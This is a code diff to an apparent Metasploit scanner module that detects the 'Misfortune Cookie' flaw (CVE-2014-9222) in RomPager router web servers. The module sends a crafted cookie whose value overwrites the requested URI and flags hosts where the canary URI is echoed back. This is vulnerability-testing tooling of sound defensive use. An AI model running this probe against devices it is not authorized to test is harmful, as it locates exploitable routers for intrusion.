@@ -27,38 +27,165 @@ def initialize(info = {})
27
27
] ,
28
28
'References' => [
29
29
[ 'CVE' , '2014-9222' ] ,
30
- [ 'URL' , 'http://mis.fortunecook.ie' ]
30
+ [ 'URL' , 'http://mis.fortunecook.ie' ] ,
31
+ [ 'URL' , 'http://mis.fortunecook.ie/misfortune-cookie-suspected-vulnerable.pdf' ] , # list of likely vulnerable devices
32
+ [ 'URL' , 'http://mis.fortunecook.ie/too-many-cooks-exploiting-tr069_tal-oppenheim_31c3.pdf' ] # 31C3 presentation with POC
31
33
] ,
32
34
'DisclosureDate' => 'Dec 17 2014' ,
33
35
'License' => MSF_LICENSE
34
36
) )
35
37
36
- register_options ( [
37
- OptString . new ( 'TARGETURI' , [ true , 'Path to fingerprint RomPager from' , '/Allegro' ] )
38
- ] , self . class )
38
+ register_options (
39
+ [
40
+ OptString . new ( 'TARGETURI' , [ true , 'URI to test' , '/' ] )
41
+ ] , Exploit ::Remote ::HttpClient
42
+ )
43
+
44
+ register_advanced_options (
45
+ [
46
+ OptString . new ( 'CANARY_URI' , [ false , 'Try overwriting the requested URI with this canary value (empty for random)' ] ) ,
47
+ OptString . new ( 'STATUS_CODES_REGEX' , [ true , 'Ensure that canary pages and probe responses have status codes that match this regex' , '^40[134]$' ] )
48
+ ] , self . class
49
+ )
50
+ end
51
+
52
+ def check_host ( _ip )
53
+ begin
54
+ test_misfortune
55
+ ensure
56
+ disconnect
57
+ end
58
+ end
59
+
60
+ def run_host ( ip )
61
+ status = check_host ( ip )
62
+ case status
63
+ when Exploit ::CheckCode ::Appears
64
+ when Exploit ::CheckCode ::Detected
65
+ when Exploit ::CheckCode ::Vulnerable
66
+ print_good ( "#{ peer } #{ status . last } " )
67
+ else
68
+ vprint_status ( "#{ peer } #{ status . last } " )
69
+ end
70
+ end
71
+
72
+ def setup
73
+ @status_codes_regex = Regexp . new ( datastore [ 'STATUS_CODES_REGEX' ] )
39
74
end
40
75
41
- def check_host ( ip )
42
- res = send_request_cgi ( 'uri' => normalize_uri ( target_uri . path . to_s ) , 'method' => 'GET' )
76
+ # Fingerprints the provided HTTP response and returns
77
+ # Exploit::CheckCode::Appears if it is a vulnerable version of RomPager,
78
+ # otherwise returns the provided fall-back status.
79
+ def check_response_fingerprint ( res , fallback_status )
43
80
fp = http_fingerprint ( response : res )
44
- if /RomPager\/ (?<version>[\d \. ]+)$/ =~ fp
81
+ if /RomPager\/ (?<version>[\d \. ]+)/ =~ fp
82
+ vprint_status ( "#{ peer } is RomPager #{ version } " )
45
83
if Gem ::Version . new ( version ) < Gem ::Version . new ( '4.34' )
84
+ return Exploit ::CheckCode ::Appears
85
+ end
86
+ end
87
+ fallback_status
88
+ end
89
+
90
+ def find_canary
91
+ vprint_status ( "#{ peer } locating suitable canary URI" )
92
+ canaries = [ ]
93
+ if datastore [ 'CANARY_URI' ]
94
+ canaries << datastore [ 'CANARY_URI' ]
95
+ else
96
+ # several random URIs in the hopes that one, generally the first, will be usable
97
+ 0 . upto ( 4 ) { canaries << '/' + Rex ::Text . rand_text_alpha ( 16 ) }
98
+ end
99
+
100
+ canaries . each do |canary |
101
+ res = send_request_raw (
102
+ 'uri' => normalize_uri ( canary ) ,
103
+ 'method' => 'GET' ,
104
+ 'headers' => headers
105
+ )
106
+ # in most cases, the canary URI will not exist and will return a 404, but
107
+ # if everything under TARGETURI is protected by auth, a 401 may be OK too.
108
+ # but, regardless, respect the configuration set for this module
109
+ return [ canary , res . code ] if res && res . code . to_s =~ @status_codes_regex
110
+ end
111
+ nil
112
+ end
113
+
114
+ def headers
115
+ {
116
+ 'Referer' => full_uri
117
+ }
118
+ end
119
+
120
+ # To test for this vulnerability, we must first find a URI known to return
121
+ # a 404 (not found) which we will use as a canary. This URI (for example,
122
+ # /foo) is then taken and used as the value for a carefully crafted cookie
123
+ # when making a request to the configured host+port+uri. If the response
124
+ # is a 404 and the body includes the canary, it is likely that the cookie
125
+ # overwrote RomPager's concept of the requested URI, indicating that it is
126
+ # vulnerable.
127
+ def test_misfortune
128
+ # find a usable canary URI (one that returns an acceptable status code already)
129
+ if canary = find_canary
130
+ canary_value , canary_code = canary
131
+ vprint_status ( "#{ peer } found canary URI #{ canary_value } with code #{ canary_code } " )
132
+ else
133
+ vprint_error ( "#{ peer } Unable to find a suitable canary URI" )
134
+ return Exploit ::CheckCode ::Unknown
135
+ end
136
+
137
+ canary_cookie_name = 'C107373883'
138
+ canary_cookie = canary_cookie_name + "=#{ canary_value } ;"
139
+
140
+ # Make a request containing a specific canary cookie name with the value set
141
+ # from the suitable canary value found above.
142
+ res = send_request_raw (
143
+ 'uri' => normalize_uri ( target_uri . path . to_s ) ,
144
+ 'method' => 'GET' ,
145
+ 'headers' => headers . merge ( 'Cookie' => canary_cookie )
146
+ )
147
+
148
+ unless res
149
+ vprint_error ( "#{ full_uri } no response" )
150
+ return Exploit ::CheckCode ::Unknown
151
+ end
152
+
153
+ unless res . code . to_s =~ @status_codes_regex
154
+ vprint_status ( "#{ full_uri } unexpected HTTP code #{ res . code } response" )
155
+ return check_response_fingerprint ( res , Exploit ::CheckCode ::Detected )
156
+ end
157
+
158
+ unless res . body
159
+ vprint_status ( "#{ full_uri } HTTP code #{ res . code } had no body" )
160
+ return check_response_fingerprint ( res , Exploit ::CheckCode ::Detected )
161
+ end
162
+
163
+ # If that canary *value* shows up in the *body*, then there are two possibilities:
164
+ #
165
+ # 1) If the canary cookie *name* is also in the *body*, it is likely that
166
+ # the endpoint is puppeting back our request to some extent and therefore
167
+ # it is expected that the canary cookie *value* would also be there.
168
+ # return Exploit::CheckCode::Detected
169
+ #
170
+ # 2) If the canary cookie *name* is *not* in the *body*, return
171
+ # Exploit::CheckCode::Vulnerable
172
+ if res . body . include? ( canary_value )
173
+ if res . body . include? ( canary_cookie_name )
174
+ vprint_status ( "#{ full_uri } HTTP code #{ res . code } response contained canary cookie name #{ canary_cookie_name } " )
175
+ return check_response_fingerprint ( res , Exploit ::CheckCode ::Detected )
176
+ else
177
+ vprint_good ( "#{ full_uri } HTTP code #{ res . code } response contained canary cookie value #{ canary_value } as URI" )
46
178
report_vuln (
47
- host : ip ,
179
+ host : rhost ,
48
180
port : rport ,
49
181
name : name ,
50
182
refs : references
51
183
)
52
- return Exploit ::CheckCode ::Appears
53
- else
54
- return Exploit ::CheckCode ::Detected
184
+ return Exploit ::CheckCode ::Vulnerable
55
185
end
56
- else
57
- return Exploit ::CheckCode ::Safe
58
186
end
59
- end
60
187
61
- def run_host ( ip )
62
- print_good ( " #{ peer } appears to be vulnerable" ) if check_host ( ip ) == Exploit ::CheckCode ::Appears
188
+ vprint_status ( " #{ full_uri } HTTP code #{ res . code } response did not contain canary cookie value #{ canary_value } as URI" )
189
+ check_response_fingerprint ( res , Exploit ::CheckCode ::Safe )
63
190
end
64
191
end
0 commit comments